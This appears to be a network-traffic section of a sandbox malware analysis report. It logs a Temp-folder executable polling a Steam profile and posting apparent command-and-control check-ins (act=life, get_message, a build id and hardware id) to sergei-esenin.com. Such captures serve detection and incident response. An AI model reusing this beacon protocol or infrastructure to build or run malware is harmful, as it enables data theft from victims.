2024-10-23 15:51:19 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=4296112B956885A1B153E678F6E4E86B
2024-10-23 15:51:19 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9557kdtpok8o8bkurjtn4n1ap9; expires=Sun, 16 Feb 2025 09:37:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Js2S%2FO6JNxClYfZJ84aLzIoSSfJn8fEnCQF9kEYn2wf3bAoZI29pCkaFFzh8fddCMwuK%2BPbE5dXaFRrQj1m2l1eDleSHIbbzQ%2BAfjAh8fDW8ADqnCvywI%2F5kREwzQ0giB3bIAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e348b8432c8d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1094&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1077&delivery_rate=2594982&cwnd=127&unsent_bytes=0&cid=d12a790fb5d7048c&ts=518&x=0"
2024-10-23 15:51:19 UTC	299	IN	Data Raw: 31 32 34 0d 0a 43 79 6d 34 42 71 49 78 7a 52 32 69 6e 32 5a 77 7a 4b 69 32 54 49 34 38 77 2b 63 55 55 30 46 4d 33 51 4c 4c 44 57 67 78 50 43 5a 51 55 70 70 7a 67 41 76 76 64 64 62 72 46 6b 71 51 68 2b 70 6a 76 77 54 32 79 53 5a 69 64 47 4c 73 4d 2f 67 6a 57 51 64 67 43 57 5a 41 31 6d 50 2b 48 72 39 38 7a 50 73 4a 48 65 4c 4e 7a 69 6d 73 45 4f 47 42 59 48 46 37 66 50 45 67 72 69 39 53 41 55 45 4b 63 41 76 4e 4a 4a 67 54 70 57 6e 57 37 31 77 73 34 2f 53 5a 66 62 59 4a 37 64 55 6c 5a 6d 39 39 37 44 48 6c 50 46 35 74 45 31 56 2f 54 4e 6c 72 2f 68 36 2f 66 4d 7a 37 43 52 33 69 7a 63 34 70 72 42 44 68 67 57 42 78 65 33 7a 78 49 4b 34 76 55 67 46 42 43 6e 41 4c 7a 53 53 59 45 36 56 70 31 75 39 63 4c 4f 50 30 6d 58 32 32 43 65 33 56 4a 57 5a 76 66 65 77 78 35 54 Data Ascii: 124Cym4BqIxzR2in2ZwzKi2TI48w+cUU0FM3QLLDWgxPCZQUppzgAvvddbrFkqQh+pjvwT2ySZidGLsM/gjWQdgCWZA1mP+Hr98zPsJHeLNzimsEOGBYHF7fPEgri9SAUEKcAvNJJgTpWnW71ws4/SZfbYJ7dUlZm997DHlPF5tE1V/TNlr/h6/fMz7CR3izc4prBDhgWBxe3zxIK4vUgFBCnALzSSYE6Vp1u9cLOP0mX22Ce3VJWZvfewx5T
2024-10-23 15:51:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49901	104.102.49.254	443	2528	C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:51:46 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-23 15:51:46 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 23 Oct 2024 15:51:46 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=b5c6540cea8b0a22519f81b6; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=None
2024-10-23 15:51:46 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-23 15:51:46 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49993	104.102.49.254	443	1916	C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:52:01 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-23 15:52:01 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 23 Oct 2024 15:52:01 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=4ea6ad161ff4b3c461cb1321; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=None
2024-10-23 15:52:01 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-23 15:52:01 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50058	104.102.49.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:52:35 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-23 15:52:35 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 23 Oct 2024 15:52:35 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=bd0aadb66e7554ae59b00c9d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=None
2024-10-23 15:52:35 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-23 15:52:35 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-23 15:52:35 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-23 15:52:35 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50067	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:52:36 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-23 15:52:36 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-23 15:52:36 UTC	564	IN	HTTP/1.1 403 Forbidden Date: Wed, 23 Oct 2024 15:52:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yUL4Ojqz%2Fc60G%2FUC0hA3zMPZlKxhSUu2KxH%2BOF1WCo1KkEwF4URwFnY1Pwd7M9ne4xeQAdHSU8BMV1hf2iX3svW4MbDOQ%2BwV70378tQoS505VXwP%2BoSIo43E8mhB7d1Lk8tuQA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e52c8fb5c871-DFW
2024-10-23 15:52:36 UTC	805	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-23 15:52:36 UTC	1369	IN	Data Raw: 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: n-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElem
2024-10-23 15:52:36 UTC	1369	IN	Data Raw: 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ccess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-23 15:52:36 UTC	901	IN	Data Raw: 30 2e 39 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 Data Ascii: 0.90</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-la
2024-10-23 15:52:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50068	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:52:37 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=UVDgeXc5JG2vhcV7V67wq1KVPVLkEyGm2R2_HhgVstU-1729698756-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-23 15:52:37 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
